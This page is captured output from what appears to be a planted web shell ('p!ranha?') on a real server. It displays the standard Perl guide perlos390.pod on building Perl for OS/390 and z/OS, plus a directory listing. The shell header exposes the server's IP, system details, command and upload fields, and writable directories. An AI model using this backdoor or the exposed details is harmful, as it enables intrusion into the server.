p!ranha?
Server IP : 103.169.32.36  /  Your IP : 216.73.217.13
Web Server : Apache
System : Linux web.dpmptsp 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 5.6.40
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/perl5/pod/

Upload File :
Curr3nt_D!r [ Writeable ] D0cum3nt_r0Ot [ Writeable ]

 
Command :
Current File : /usr/share/perl5/pod/perlos390.pod
This document is written in pod format hence there are punctuation
characters in odd places.  Do not worry, you've apparently got the
ASCII->EBCDIC translation worked out correctly.  You can read more
about pod in pod/perlpod.pod or the short summary in the INSTALL file.

=head1 NAME

perlos390 - building and installing Perl for OS/390 and z/OS

=head1 SYNOPSIS

This document will help you Configure, build, test and install Perl
on OS/390 (aka z/OS) Unix System Services.

=head1 DESCRIPTION

This is a fully ported Perl for OS/390 Version 2 Release 3, 5, 6, 7,
8, and 9.  It may work on other versions or releases, but those are
the ones we've tested it on.

You may need to carry out some system configuration tasks before
running the Configure script for Perl.


=head2 Tools

The z/OS Unix Tools and Toys list may prove helpful and contains links
to ports of much of the software helpful for building Perl.
http://www.ibm.com/servers/eserver/zseries/zos/unix/bpxa1toy.html


=head2 Unpacking Perl distribution on OS/390

If using ftp remember to transfer the distribution in binary format.

Gunzip/gzip for OS/390 is discussed at:

  http://www.ibm.com/servers/eserver/zseries/zos/unix/bpxa1ty1.html

to extract an ASCII tar archive on OS/390, try this:

   pax -o to=IBM-1047,from=ISO8859-1 -r < latest.tar

or

   zcat latest.tar.Z | pax -o to=IBM-1047,from=ISO8859-1 -r

If you get lots of errors of the form

  tar: FSUM7171 ...: cannot set uid/gid: EDC5139I Operation not permitted.

you didn't read the above and tried to use tar instead of pax, you'll
first have to remove the (now corrupt) perl directory

   rm -rf perl-...

and then use pax.

=head2 Setup and utilities for Perl on OS/390

Be sure that your yacc installation is in place including any necessary
parser template files. If you have not already done so then be sure to:

  cp /samples/yyparse.c /etc

This may also be a good time to ensure that your /etc/protocol file
and either your /etc/resolv.conf or /etc/hosts files are in place.
The IBM document that described such USS system setup issues was
SC28-1890-07 "OS/390 UNIX System Services Planning", in particular
Chapter 6 on customizing the OE shell.

GNU make for OS/390, which is recommended for the build of perl (as
well as building CPAN modules and extensions), is available from the
L</Tools>.

Some people have reported encountering "Out of memory!" errors while
trying to build Perl using GNU make binaries.  If you encounter such
trouble then try to download the source code kit and build GNU make
from source to eliminate any such trouble.  You might also find GNU make
(as well as Perl and Apache) in the red-piece/book "Open Source Software
for OS/390 UNIX", SG24-5944-00 from IBM.

If instead of the recommended GNU make you would like to use the system
supplied make program then be sure to install the default rules file
properly via the shell command:

    cp /samples/startup.mk /etc

and be sure to also set the environment variable _C89_CCMODE=1 (exporting
_C89_CCMODE=1 is also a good idea for users of GNU make).

You might also want to have GNU groff for OS/390 installed before
running the "make install" step for Perl.

There is a syntax error in the /usr/include/sys/socket.h header file
that IBM supplies with USS V2R7, V2R8, and possibly V2R9.  The problem with
the header file is that near the definition of the SO_REUSEPORT constant
there is a spurious extra '/' character outside of a comment like so:

 #define SO_REUSEPORT    0x0200    /* allow local address & port
                                      reuse */                    /

You could edit that header yourself to remove that last '/', or you might
note that Language Environment (LE) APAR PQ39997 describes the problem
and PTF's UQ46272 and UQ46271 are the (R8 at least) fixes and apply them.
If left unattended that syntax error will turn up as an inability for Perl
to build its "Socket" extension.

For successful testing you may need to turn on the sticky bit for your
world readable /tmp directory if you have not already done so (see man chmod).

=head2 Configure Perl on OS/390

Once you've unpacked the distribution, run "sh Configure" (see INSTALL
for a full discussion of the Configure options).  There is a "hints" file
for os390 that specifies the correct values for most things.  Some things
to watch out for include:

=over 4

=item *

A message of the form:

 (I see you are using the Korn shell.  Some ksh's blow up on Configure,
 mainly on older exotic systems.  If yours does, try the Bourne shell instead.)

is nothing to worry about at all.

=item *

Some of the parser default template files in /samples are needed in /etc.
In particular be sure that you at least copy /samples/yyparse.c to /etc
before running Perl's Configure.  This step ensures successful extraction
of EBCDIC versions of parser files such as perly.c, perly.h, and x2p/a2p.c.
This has to be done before running Configure the first time.  If you failed
to do so then the easiest way to re-Configure Perl is to delete your
misconfigured build root and re-extract the source from the tar ball.
Then you must ensure that /etc/yyparse.c is properly in place before
attempting to re-run Configure.

=item *

This port will support dynamic loading, but it is not selected by
default.  If you would like to experiment with dynamic loading then
be sure to specify -Dusedl in the arguments to the Configure script.
See the comments in hints/os390.sh for more information on dynamic loading.
If you build with dynamic loading then you will need to add the
$archlibexp/CORE directory to your LIBPATH environment variable in order
for perl to work.  See the config.sh file for the value of $archlibexp.
If in trying to use Perl you see an error message similar to:

 CEE3501S The module libperl.dll was not found.
         From entry point __dllstaticinit at compile unit offset +00000194 at

then your LIBPATH does not have the location of libperl.x and either
libperl.dll or libperl.so in it.  Add that directory to your LIBPATH and
proceed.

=item *

Do not turn on the compiler optimization flag "-O".  There is
a bug in either the optimizer or perl that causes perl to
not work correctly when the optimizer is on.

=item *

Some of the configuration files in /etc used by the
networking APIs are either missing or have the wrong
names.  In particular, make sure that there's either
an /etc/resolv.conf or an /etc/hosts, so that
gethostbyname() works, and make sure that the file
/etc/proto has been renamed to /etc/protocol (NOT
/etc/protocols, as used by other Unix systems).
You may have to look for things like HOSTNAME and DOMAINORIGIN
in the "//'SYS1.TCPPARMS(TCPDATA)'" PDS member in order to
properly set up your /etc networking files.

=back

=head2 Build, Test, Install Perl on OS/390

Simply put:

    sh Configure
    make
    make test

if everything looks ok (see the next section for test/IVP diagnosis) then:

    make install

this last step may or may not require UID=0 privileges depending
on how you answered the questions that Configure asked and whether
or not you have write access to the directories you specified.

=head2 Build Anomalies with Perl on OS/390

"Out of memory!" messages during the build of Perl are most often fixed
by re building the GNU make utility for OS/390 from a source code kit.

Another memory limiting item to check is your MAXASSIZE parameter in your
'SYS1.PARMLIB(BPXPRMxx)' data set (note too that as of V2R8 address space
limits can be set on a per user ID basis in the USS segment of a RACF
profile).  People have reported successful builds of Perl with MAXASSIZE
parameters as small as 503316480 (and it may be possible to build Perl
with a MAXASSIZE smaller than that).

Within USS your /etc/profile or $HOME/.profile may limit your ulimit
settings.  Check that the following command returns reasonable values:

    ulimit -a

To conserve memory you should have your compiler modules loaded into the
Link Pack Area (LPA/ELPA) rather than in a link list or step lib.

If the c89 compiler complains of syntax errors during the build of the
Socket extension then be sure to fix the syntax error in the system
header /usr/include/sys/socket.h.

=head2 Testing Anomalies with Perl on OS/390

The "make test" step runs a Perl Verification Procedure, usually before
installation.  You might encounter STDERR messages even during a successful
run of "make test".  Here is a guide to some of the more commonly seen
anomalies:

=over 4

=item *

A message of the form:

 io/openpid...........CEE5210S The signal SIGHUP was received.
 CEE5210S The signal SIGHUP was received.
 CEE5210S The signal SIGHUP was received.
 ok

indicates that the t/io/openpid.t test of Perl has passed but done so
with extraneous messages on stderr from CEE.

=item *

A message of the form:

 lib/ftmp-security....File::Temp::_gettemp: Parent directory (/tmp/) is not safe
 (sticky bit not set when world writable?) at lib/ftmp-security.t line 100
 File::Temp::_gettemp: Parent directory (/tmp/) is not safe (sticky bit not
 set when world writable?) at lib/ftmp-security.t line 100
 ok

indicates a problem with the permissions on your /tmp directory within the HFS.
To correct that problem issue the command:

     chmod a+t /tmp

from an account with write access to the directory entry for /tmp.

=item *

Out of Memory!

Recent perl test suite is quite memory hungry. In addition to the comments
above on memory limitations it is also worth checking for _CEE_RUNOPTS
in your environment. Perl now has (in miniperlmain.c) a C #pragma
to set CEE run options, but the environment variable wins.

The C code asks for:

 #pragma runopts(HEAP(2M,500K,ANYWHERE,KEEP,8K,4K) STACK(,,ANY,) ALL31(ON))

The important parts of that are the second argument (the increment) to HEAP,
and allowing the stack to be "Above the (16M) line". If the heap
increment is too small then when perl (for example loading unicode/Name.pl) tries
to create a "big" (400K+) string it cannot fit in a single segment
and you get "Out of Memory!" - even if there is still plenty of memory
available.

A related issue is use with perl's malloc. Perl's malloc uses C<sbrk()>
to get memory, and C<sbrk()> is limited to the first allocation so in this
case something like:

  HEAP(8M,500K,ANYWHERE,KEEP,8K,4K)

is needed to get through the test suite.


=back

=head2 Installation Anomalies with Perl on OS/390

The installman script will try to run on OS/390.  There will be fewer errors
if you have a roff utility installed.  You can obtain GNU groff from the
Redbook SG24-5944-00 ftp site.

=head2 Usage Hints for Perl on OS/390

When using perl on OS/390 please keep in mind that the EBCDIC and ASCII
character sets are different.  See perlebcdic.pod for more on such character
set issues.  Perl builtin functions that may behave differently under
EBCDIC are also mentioned in the perlport.pod document.

Open Edition (UNIX System Services) from V2R8 onward does support
#!/path/to/perl script invocation.  There is a PTF available from
IBM for V2R7 that will allow shell/kernel support for #!.  USS
releases prior to V2R7 did not support the #! means of script invocation.
If you are running V2R6 or earlier then see:

    head `whence perldoc`

for an example of how to use the "eval exec" trick to ask the shell to
have Perl run your scripts on those older releases of Unix System Services.

If you are having trouble with square brackets then consider switching your
rlogin or telnet client.  Try to avoid older 3270 emulators and ISHELL for
working with Perl on USS.

=head2 Floating Point Anomalies with Perl on OS/390

There appears to be a bug in the floating point implementation on S/390
systems such that calling int() on the product of a number and a small
magnitude number is not the same as calling int() on the quotient of
that number and a large magnitude number.  For example, in the following
Perl code:

    my $x = 100000.0;
    my $y = int($x * 1e-5) * 1e5; # '0'
    my $z = int($x / 1e+5) * 1e5;  # '100000'
    print "\$y is $y and \$z is $z\n"; # $y is 0 and $z is 100000

Although one would expect the quantities $y and $z to be the same and equal
to 100000 they will differ and instead will be 0 and 100000 respectively.

The problem can be further examined in a roughly equivalent C program:

    #include <stdio.h>
    #include <math.h>
    main()
    {
    double r1,r2;
    double x = 100000.0;
    double y = 0.0;
    double z = 0.0;
    x = 100000.0 * 1e-5;
    r1 = modf (x,&y);
    x = 100000.0 / 1e+5;
    r2 = modf (x,&z);
    printf("y is %e and z is %e\n",y*1e5,z*1e5);
    /* y is 0.000000e+00 and z is 1.000000e+05 (with c89) */
    }

=head2 Modules and Extensions for Perl on OS/390

Pure pure (that is non xs) modules may be installed via the usual:

    perl Makefile.PL
    make
    make test
    make install

If you built perl with dynamic loading capability then that would also
be the way to build xs based extensions.  However, if you built perl with
the default static linking you can still build xs based extensions for OS/390
but you will need to follow the instructions in ExtUtils::MakeMaker for
building statically linked perl binaries.  In the simplest configurations
building a static perl + xs extension boils down to:

    perl Makefile.PL
    make
    make perl
    make test
    make install
    make -f Makefile.aperl inst_perl MAP_TARGET=perl

In most cases people have reported better results with GNU make rather
than the system's /bin/make program, whether for plain modules or for
xs based extensions.

If the make process encounters trouble with either compilation or
linking then try setting the _C89_CCMODE to 1.  Assuming sh is your
login shell then run:

    export _C89_CCMODE=1

If tcsh is your login shell then use the setenv command.

=head1 AUTHORS

David Fiander and Peter Prymmer with thanks to Dennis Longnecker
and William Raffloer for valuable reports, LPAR and PTF feedback.
Thanks to Mike MacIsaac and Egon Terwedow for SG24-5944-00.
Thanks to Ignasi Roca for pointing out the floating point problems.
Thanks to John Goodyear for dynamic loading help.

=head1 SEE ALSO

L<INSTALL>, L<perlport>, L<perlebcdic>, L<ExtUtils::MakeMaker>.

    http://www.ibm.com/servers/eserver/zseries/zos/unix/bpxa1toy.html

    http://www.redbooks.ibm.com/redbooks/SG245944.html

    http://www.ibm.com/servers/eserver/zseries/zos/unix/bpxa1ty1.html#opensrc

    http://www.xray.mpe.mpg.de/mailing-lists/perl-mvs/

    http://publibz.boulder.ibm.com:80/cgi-bin/bookmgr_OS390/BOOKS/ceea3030/

    http://publibz.boulder.ibm.com:80/cgi-bin/bookmgr_OS390/BOOKS/CBCUG030/

=head2 Mailing list for Perl on OS/390

If you are interested in the VM/ESA, z/OS (formerly known as OS/390)
and POSIX-BC (BS2000) ports of Perl then see the perl-mvs mailing list.
To subscribe, send an empty message to perl-mvs-subscribe@perl.org.

See also:

    http://lists.perl.org/list/perl-mvs.html

There are web archives of the mailing list at:

    http://www.xray.mpe.mpg.de/mailing-lists/perl-mvs/
    http://archive.develooper.com/perl-mvs@perl.org/

=head1 HISTORY

This document was originally written by David Fiander for the 5.005
release of Perl.

This document was podified for the 5.005_03 release of Perl 11 March 1999.

Updated 28 November 2001 for broken URLs.

Updated 12 November 2000 for the 5.7.1 release of Perl.

Updated 15 January 2001 for the 5.7.1 release of Perl.

Updated 24 January 2001 to mention dynamic loading.

Updated 12 March 2001 to mention //'SYS1.TCPPARMS(TCPDATA)'.

=cut

N4m3
5!z3
L45t M0d!f!3d
0wn3r / Gr0up
P3Rm!55!0n5
0pt!0n5
..
--
January 19 2024 08:12:46
0 / 0
0755
a2p.pod
5.962 KB
February 02 2021 16:32:27
0 / 0
0644
perl.pod
15.429 KB
February 02 2021 16:32:27
0 / 0
0644
perl5004delta.pod
54.921 KB
February 02 2021 16:32:27
0 / 0
0644
perl5005delta.pod
33.48 KB
February 02 2021 16:32:27
0 / 0
0644
perl5100delta.pod
53.413 KB
February 02 2021 16:32:27
0 / 0
0644
perl5101delta.pod
42.858 KB
February 02 2021 16:32:27
0 / 0
0644
perl5120delta.pod
87.193 KB
February 02 2021 16:32:27
0 / 0
0644
perl5121delta.pod
9.905 KB
February 02 2021 16:32:27
0 / 0
0644
perl5122delta.pod
9.378 KB
February 02 2021 16:32:27
0 / 0
0644
perl5123delta.pod
4.004 KB
February 02 2021 16:32:27
0 / 0
0644
perl5124delta.pod
3.586 KB
February 02 2021 16:32:27
0 / 0
0644
perl5140delta.pod
140.941 KB
February 02 2021 16:32:27
0 / 0
0644
perl5141delta.pod
7.779 KB
February 02 2021 16:32:27
0 / 0
0644
perl5142delta.pod
6.73 KB
February 02 2021 16:32:27
0 / 0
0644
perl5143delta.pod
7.578 KB
February 02 2021 16:32:27
0 / 0
0644
perl5160delta.pod
130.52 KB
February 02 2021 16:32:27
0 / 0
0644
perl5161delta.pod
5.998 KB
February 02 2021 16:32:27
0 / 0
0644
perl5162delta.pod
3.51 KB
February 02 2021 16:32:27
0 / 0
0644
perl5163delta.pod
3.985 KB
February 02 2021 16:32:27
0 / 0
0644
perl561delta.pod
121.786 KB
February 02 2021 16:32:27
0 / 0
0644
perl56delta.pod
104.685 KB
February 02 2021 16:32:27
0 / 0
0644
perl581delta.pod
37.168 KB
February 02 2021 16:32:27
0 / 0
0644
perl582delta.pod
4.365 KB
February 02 2021 16:32:27
0 / 0
0644
perl583delta.pod
6.187 KB
February 02 2021 16:32:27
0 / 0
0644
perl584delta.pod
7.19 KB
February 02 2021 16:32:27
0 / 0
0644
perl585delta.pod
5.751 KB
February 02 2021 16:32:27
0 / 0
0644
perl586delta.pod
4.542 KB
February 02 2021 16:32:27
0 / 0
0644
perl587delta.pod
8.161 KB
February 02 2021 16:32:27
0 / 0
0644
perl588delta.pod
24.68 KB
February 02 2021 16:32:27
0 / 0
0644
perl589delta.pod
52.637 KB
February 02 2021 16:32:27
0 / 0
0644
perl58delta.pod
112.215 KB
February 02 2021 16:32:27
0 / 0
0644
perlaix.pod
18.768 KB
February 02 2021 16:32:27
0 / 0
0644
perlamiga.pod
6.869 KB
February 02 2021 16:32:27
0 / 0
0644
perlapi.pod
315.465 KB
February 02 2021 16:32:27
0 / 0
0644
perlapio.pod
18.878 KB
February 02 2021 16:32:27
0 / 0
0644
perlartistic.pod
6.846 KB
February 02 2021 16:32:27
0 / 0
0644
perlbeos.pod
2.867 KB
February 02 2021 16:32:27
0 / 0
0644
perlbook.pod
7.192 KB
February 02 2021 16:32:27
0 / 0
0644
perlboot.pod
0.179 KB
February 02 2021 16:32:27
0 / 0
0644
perlbot.pod
0.178 KB
February 02 2021 16:32:27
0 / 0
0644
perlbs2000.pod
7.733 KB
February 02 2021 16:32:27
0 / 0
0644
perlcall.pod
54.026 KB
February 02 2021 16:32:27
0 / 0
0644
perlce.pod
8.723 KB
February 02 2021 16:32:27
0 / 0
0644
perlcheat.pod
4.395 KB
February 02 2021 16:32:27
0 / 0
0644
perlclib.pod
7.504 KB
February 02 2021 16:32:27
0 / 0
0644
perlcn.pod
4.815 KB
February 02 2021 16:32:27
0 / 0
0644
perlcommunity.pod
6.293 KB
February 02 2021 16:32:27
0 / 0
0644
perlcygwin.pod
27.17 KB
February 02 2021 16:32:27
0 / 0
0644
perldata.pod
36.331 KB
February 02 2021 16:32:27
0 / 0
0644
perldbmfilter.pod
4.863 KB
February 02 2021 16:32:27
0 / 0
0644
perldebguts.pod
36.789 KB
February 02 2021 16:32:27
0 / 0
0644
perldebtut.pod
20.786 KB
February 02 2021 16:32:27
0 / 0
0644
perldebug.pod
38.151 KB
February 02 2021 16:32:27
0 / 0
0644
perldelta.pod
3.985 KB
February 02 2021 16:32:27
0 / 0
0644
perldgux.pod
2.754 KB
February 02 2021 16:32:27
0 / 0
0644
perldiag.pod
207.818 KB
February 02 2021 16:32:27
0 / 0
0644
perldos.pod
10.275 KB
February 02 2021 16:32:27
0 / 0
0644
perldsc.pod
24.837 KB
February 02 2021 16:32:27
0 / 0
0644
perldtrace.pod
6.209 KB
February 02 2021 16:32:27
0 / 0
0644
perlebcdic.pod
67.605 KB
February 02 2021 16:32:27
0 / 0
0644
perlembed.pod
35.209 KB
February 02 2021 16:32:27
0 / 0
0644
perlepoc.pod
3.572 KB
February 02 2021 16:32:27
0 / 0
0644
perlexperiment.pod
4.843 KB
February 02 2021 16:32:27
0 / 0
0644
perlfaq.pod
22.007 KB
February 02 2021 16:32:27
0 / 0
0644
perlfaq1.pod
13.519 KB
February 02 2021 16:32:27
0 / 0
0644
perlfaq2.pod
9.278 KB
February 02 2021 16:32:27
0 / 0
0644
perlfaq3.pod
37.464 KB
February 02 2021 16:32:27
0 / 0
0644
perlfaq4.pod
87.393 KB
February 02 2021 16:32:27
0 / 0
0644
perlfaq5.pod
54.113 KB
February 02 2021 16:32:27
0 / 0
0644
perlfaq6.pod
38.664 KB
February 02 2021 16:32:27
0 / 0
0644
perlfaq7.pod
36.352 KB
February 02 2021 16:32:27
0 / 0
0644
perlfaq8.pod
48.279 KB
February 02 2021 16:32:27
0 / 0
0644
perlfaq9.pod
14.709 KB
February 02 2021 16:32:27
0 / 0
0644
perlfork.pod
12.782 KB
February 02 2021 16:32:27
0 / 0
0644
perlform.pod
16.287 KB
February 02 2021 16:32:27
0 / 0
0644
perlfreebsd.pod
1.554 KB
February 02 2021 16:32:27
0 / 0
0644
perlfunc.pod
338.432 KB
February 02 2021 16:32:27
0 / 0
0644
perlgit.pod
29.755 KB
February 02 2021 16:32:27
0 / 0
0644
perlglossary.pod
110.655 KB
February 02 2021 16:32:27
0 / 0
0644
perlgpl.pod
13.537 KB
February 02 2021 16:32:27
0 / 0
0644
perlguts.pod
111.664 KB
February 02 2021 16:32:27
0 / 0
0644
perlhack.pod
35.03 KB
February 02 2021 16:32:27
0 / 0
0644
perlhacktips.pod
45.498 KB
February 02 2021 16:32:27
0 / 0
0644
perlhacktut.pod
6.068 KB
February 02 2021 16:32:27
0 / 0
0644
perlhaiku.pod
1.469 KB
February 02 2021 16:32:27
0 / 0
0644
perlhist.pod
43.319 KB
February 02 2021 16:32:27
0 / 0
0644
perlhpux.pod
28.065 KB
February 02 2021 16:32:27
0 / 0
0644
perlhurd.pod
1.94 KB
February 02 2021 16:32:27
0 / 0
0644
perlintern.pod
42.532 KB
February 02 2021 16:32:27
0 / 0
0644
perlinterp.pod
30.002 KB
February 02 2021 16:32:27
0 / 0
0644
perlintro.pod
22.085 KB
February 02 2021 16:32:27
0 / 0
0644
perliol.pod
33.027 KB
February 02 2021 16:32:27
0 / 0
0644
perlipc.pod
70.165 KB
February 02 2021 16:32:27
0 / 0
0644
perlirix.pod
4.291 KB
February 02 2021 16:32:27
0 / 0
0644
perljp.pod
7.572 KB
February 02 2021 16:32:27
0 / 0
0644
perlko.pod
7.521 KB
February 02 2021 16:32:27
0 / 0
0644
perllexwarn.pod
14.612 KB
February 02 2021 16:32:27
0 / 0
0644
perllinux.pod
1.453 KB
February 02 2021 16:32:27
0 / 0
0644
perllocale.pod
51.435 KB
February 02 2021 16:32:27
0 / 0
0644
perllol.pod
10.935 KB
February 02 2021 16:32:27
0 / 0
0644
perlmacos.pod
0.978 KB
February 02 2021 16:32:27
0 / 0
0644
perlmacosx.pod
10.399 KB
February 02 2021 16:32:27
0 / 0
0644
perlmod.pod
24.041 KB
February 02 2021 16:32:27
0 / 0
0644
perlmodinstall.pod
12.412 KB
February 02 2021 16:32:27
0 / 0
0644
perlmodlib.pod
78.491 KB
February 02 2021 16:32:27
0 / 0
0644
perlmodstyle.pod
20.757 KB
February 02 2021 16:32:27
0 / 0
0644
perlmpeix.pod
14.236 KB
February 02 2021 16:32:27
0 / 0
0644
perlmroapi.pod
3.128 KB
February 02 2021 16:32:27
0 / 0
0644
perlnetware.pod
6.348 KB
February 02 2021 16:32:27
0 / 0
0644
perlnewmod.pod
10.952 KB
February 02 2021 16:32:27
0 / 0
0644
perlnumber.pod
8.156 KB
February 02 2021 16:32:27
0 / 0
0644
perlobj.pod
33.653 KB
February 02 2021 16:32:27
0 / 0
0644
perlootut.pod
25.604 KB
February 02 2021 16:32:27
0 / 0
0644
perlop.pod
121.731 KB
February 02 2021 16:32:27
0 / 0
0644
perlopenbsd.pod
1.176 KB
February 02 2021 16:32:27
0 / 0
0644
perlopentut.pod
37.533 KB
February 02 2021 16:32:27
0 / 0
0644
perlos2.pod
90.533 KB
February 02 2021 16:32:27
0 / 0
0644
perlos390.pod
15.2 KB
February 02 2021 16:32:27
0 / 0
0644
perlos400.pod
4.513 KB
February 02 2021 16:32:27
0 / 0
0644
perlpacktut.pod
49.834 KB
February 02 2021 16:32:27
0 / 0
0644
perlperf.pod
50.048 KB
February 02 2021 16:32:27
0 / 0
0644
perlplan9.pod
5.005 KB
February 02 2021 16:32:27
0 / 0
0644
perlpod.pod
21.27 KB
February 02 2021 16:32:27
0 / 0
0644
perlpodspec.pod
66.203 KB
February 02 2021 16:32:27
0 / 0
0644
perlpolicy.pod
19.726 KB
February 02 2021 16:32:27
0 / 0
0644
perlport.pod
82.635 KB
February 02 2021 16:32:27
0 / 0
0644
perlpragma.pod
5.105 KB
February 02 2021 16:32:27
0 / 0
0644
perlqnx.pod
4.145 KB
February 02 2021 16:32:27
0 / 0
0644
perlre.pod
100.761 KB
February 02 2021 16:32:27
0 / 0
0644
perlreapi.pod
25.168 KB
February 02 2021 16:32:27
0 / 0
0644
perlrebackslash.pod
25.644 KB
February 02 2021 16:32:27
0 / 0
0644
perlrecharclass.pod
34.188 KB
February 02 2021 16:32:27
0 / 0
0644
perlref.pod
28.319 KB
February 02 2021 16:32:27
0 / 0
0644
perlreftut.pod
18.232 KB
February 02 2021 16:32:27
0 / 0
0644
perlreguts.pod
35.995 KB
February 02 2021 16:32:27
0 / 0
0644
perlrequick.pod
17.499 KB
February 02 2021 16:32:27
0 / 0
0644
perlreref.pod
14.19 KB
February 02 2021 16:32:27
0 / 0
0644
perlretut.pod
115.128 KB
February 02 2021 16:32:27
0 / 0
0644
perlriscos.pod
1.493 KB
February 02 2021 16:32:27
0 / 0
0644
perlrun.pod
49.575 KB
February 02 2021 16:32:27
0 / 0
0644
perlsec.pod
22.768 KB
February 02 2021 16:32:27
0 / 0
0644
perlsolaris.pod
28.63 KB
February 02 2021 16:32:27
0 / 0
0644
perlsource.pod
6.194 KB
February 02 2021 16:32:27
0 / 0
0644
perlstyle.pod
8.416 KB
February 02 2021 16:32:27
0 / 0
0644
perlsub.pod
55.153 KB
February 02 2021 16:32:27
0 / 0
0644
perlsymbian.pod
15.439 KB
February 02 2021 16:32:27
0 / 0
0644
perlsyn.pod
41.044 KB
February 02 2021 16:32:27
0 / 0
0644
perlthrtut.pod
45.407 KB
February 02 2021 16:32:27
0 / 0
0644
perltie.pod
37.02 KB
February 02 2021 16:32:27
0 / 0
0644
perltoc.pod
638.995 KB
February 02 2021 16:32:27
0 / 0
0644
perltodo.pod
0.354 KB
February 02 2021 16:32:27
0 / 0
0644
perltooc.pod
0.179 KB
February 02 2021 16:32:27
0 / 0
0644
perltoot.pod
0.179 KB
February 02 2021 16:32:27
0 / 0
0644
perltrap.pod
40.281 KB
February 02 2021 16:32:27
0 / 0
0644
perltru64.pod
7.552 KB
February 02 2021 16:32:27
0 / 0
0644
perltw.pod
5.151 KB
February 02 2021 16:32:27
0 / 0
0644
perlunicode.pod
70.891 KB
February 02 2021 16:32:27
0 / 0
0644
perlunifaq.pod
13.314 KB
February 02 2021 16:32:27
0 / 0
0644
perluniintro.pod
35.443 KB
February 02 2021 16:32:27
0 / 0
0644
perluniprops.pod
229.736 KB
February 02 2021 16:32:27
0 / 0
0644
perlunitut.pod
7.756 KB
February 02 2021 16:32:27
0 / 0
0644
perlutil.pod
9.679 KB
February 02 2021 16:32:27
0 / 0
0644
perluts.pod
3.105 KB
February 02 2021 16:32:27
0 / 0
0644
perlvar.pod
69.188 KB
February 02 2021 16:32:27
0 / 0
0644
perlvmesa.pod
3.881 KB
February 02 2021 16:32:27
0 / 0
0644
perlvms.pod
51.333 KB
February 02 2021 16:32:27
0 / 0
0644
perlvos.pod
5.823 KB
February 02 2021 16:32:27
0 / 0
0644
perlwin32.pod
34.581 KB
February 02 2021 16:32:27
0 / 0
0644
perlxs.pod
71.663 KB
February 02 2021 16:32:27
0 / 0
0644
perlxstut.pod
48.517 KB
February 02 2021 16:32:27
0 / 0
0644
perlxstypemap.pod
22.966 KB
February 02 2021 16:32:27
0 / 0
0644